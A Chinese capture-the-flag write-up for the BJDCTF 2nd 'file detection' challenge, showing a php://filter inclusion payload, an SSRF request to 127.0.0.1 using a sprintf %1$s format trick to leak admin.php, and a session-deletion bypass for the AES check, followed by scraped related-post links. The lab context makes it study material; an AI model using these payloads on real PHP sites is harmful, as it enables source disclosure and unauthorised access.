[BUUOJ记录] [BJDCTF 2nd]文件探测
感觉算是这次比赛里面综合性很强的一道题了,主要考察SSRF、PHP伪协议包含、挖掘逻辑漏洞和一个小tirck。委屈的是第一天晚上就做到了最后一步,想到了SESSION置空即可绕过,但是最后读Flag姿势不对导致比赛结束都没做出来......QAQ
进入题目Header发现Hint,BJD一贯的尿性,做BJD题目的时候F12不能关 - .-
根据提示进入home.php,发现URL变成了:
http://d3a0ad27-3c95-46f7-bfc2-208e580c984b.node3.buuoj.cn/home.php?file=system
file的值是system,实际上包含的是system.php文件,猜测后端应该是自动拼接拓展名的
怀疑存在文件包含,用php://filter伪协议试着读一下:
php://filter/read=convert.base64-encode/resource=home

解码获得home.php的源码:
<?php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) { //过滤了^、~、&、|字符
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ //不能包含含有flag字符的文件
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){ //不能包含含有admin字符的文件
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){ //不能只包含home字符串
die("禁止套娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!"; //只能以home和system结尾
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
一些约束我已经注释在了代码后面,可以看到其实还是限制比较大的,但是还可以用同样的办法读到system.php的源码:
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
} $str2 = ' Error: url invalid<br>~$ ';
$str3 = ' Error: damn hacker!<br>~$ ';
$str4 = ' Error: request method error<br>~$ '; ?>
......<此处HTML代码省略>
<?php $filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i'; if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3']; $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>"; echo $str1; if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
} ?>
重点关注后半段PHP代码,我们可以获取到以下的限制条件:
1.不能包含有flag字符串
2.q2的值必须以http://127.0.0.1/开头,其实相当于是限制了只能通过SSRF读取文件
3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。
首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件,
其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 "?a=(GET赋值给一个参数)" 或 "#(锚点)" 来让其失效,
最后一个考的点就是在这两行代码上:
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
这里牵扯到了字符串的格式化的知识,%d会将$detect(即源码)以二进制数的形式输出,所以并不能得到我们需要的源码。
而主要思路就是让$detect以字符串形式(%s)来输出,我们有两种读取admin.php源码的方法:
1. %1$s —— 这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$s会以字符串格式输出$detect,而%d会输出0
2. %s% —— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:
print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义,因此失
构造出Payload,POST发送给system.php即可获得admin.php的源码:
q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
得到admin.php的源码:
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
} function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
} if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
} $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']); if (isset($_GET['decrypt'])) { //只要传入decrypt参数就不会生成随机数
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng'); //注意!这里加密的内容是从SESSION中取的,突破点就在这里
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999)); //这里的种子是真随机了,无法爆破
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
} ?>
这里其实出题人还把代码缩进了一下,能看清楚每个循环的对应。
主要代码中第一层if循环else代码块中的mt_srand随机数是真随机了,不像是上一届中的可以爆破,所以我们从上面的代码块入手。
这里有一个Trick:
session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION['var']就为NULL,传参NULL。
所以只要我们在访问admin.php时,删除session访问,代码就会变成:
$cipher = aesEn(NULL, 'y1ng');
因此我们就可以计算出密钥,从而获得Flag。
把加密算法改一下得到:
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.222.75',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('', 'y1ng')
得到密钥:70klfZeYC+WlC045CcKhtg==
这里还有个坑,密钥中是有+符号的,直接用明文去访问得不到Flag!所以URL编码一下,然后删除掉SESSION再访问就可以得到Flag:

[BUUOJ记录] [BJDCTF 2nd]文件探测的更多相关文章
- [BJDCTF 2nd]文件探测
[BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...
- [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster
三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞 一.old-hack 进入题目没发现什么Hi ...
- [BUUOJ记录] [BJDCTF 2nd]fake google
本题考查python jinjia2的ssti,其实tplmap直接梭哈都可以 随便输入一个值,查看源代码就能看到一个Hint: 用下面的流程图测试一下,看看是什么模板引擎: 用Payload测试之后 ...
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
- [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此
[BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...
- [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- [BJDCTF 2nd]duangShell 反弹shell
[BJDCTF 2nd]duangShell [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...
- [BJDCTF 2nd]duangShell
[BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 该文件产生的原因是:使用vi编辑器打开文件时,会 ...
随机推荐
- 安装Scrapy过程中遇到的几个问题总结
安装Scrapy 1.https://www.lfd.uci.edu/~gohlke/pythonlibs/下载 Twisted 安装 Twisted-19.10.0-cp37-cp37m-win_a ...
- Java自学-图形界面 容器
Swing 的容器 JFrame和JDialog java的图形界面中,容器是用来存放 按钮,输入框等组件的. 窗体型容器有两个,一个是JFrame,一个是JDialog 步骤 1 : JFrame ...
- 【译】gRPC-Web for .NET now available
.NET 的 gRPC-Web 现在正式发布了.我们在一月份发布了实验版,从那时起,我们就根据早期的用户反馈进行着改进. 有了这个版本,gRPC-Web 就变成了 grpc-dotnet 项目的一个完 ...
- Golang gRPC学习(03): grpc官方示例程序route_guide简析
代码主要来源于grpc的官方examples代码: route_guide https://github.com/grpc/grpc-go/tree/master/examples/route_gui ...
- 几个递进的make file
春节在家写的几个递进的make file,部分有点问题.接下来 有空我要把GNU make的手册看完.不然这方面太菜了. GNU make手册 都需要make先设置环境变量BUILD_MODE为run ...
- 【AHOI 2015】 小岛 - 最短路
描述 西伯利亚北部的寒地,坐落着由 N 个小岛组成的岛屿群,我们把这些小岛依次编号为 1 到 N . 起初,岛屿之间没有任何的航线.后来随着交通的发展,逐渐出现了一些连通两座小岛的航线.例如增加一条在 ...
- Gitlab-CI/CD 2
Gitlab-Runner自动构建服务器搭建2 注册Runner 上一节我们创建了自己的gitlab-runner镜像,并使用docker-compose up -d --build命令运行了一个名为 ...
- idea配置opencv
参考:https://blog.csdn.net/sinat_38102206/article/details/81156589 配置运行时参数.通过菜单“Run->Edit Configura ...
- JAVA-单例模式的几种实现方式
一.什么是单例模式 单例:保证一个类仅有一个实例,并提供一个访问它的全局访问点. 单例模式是一种常用的软件设计模式之一,其目的是保证整个应用中只存在类的唯一个实例. 比如我们在系统启动时,需要加载一些 ...
- 11.oracle 事务
一.什么是事务事务用于保证数据的一致性,它由一组相关的dml语句组成,该组的dml(数据操作语言,增删改,没有查询)语句要么全部成功,要么全部失败.如:网上转账就是典型的要用事务来处理,用于保证数据的 ...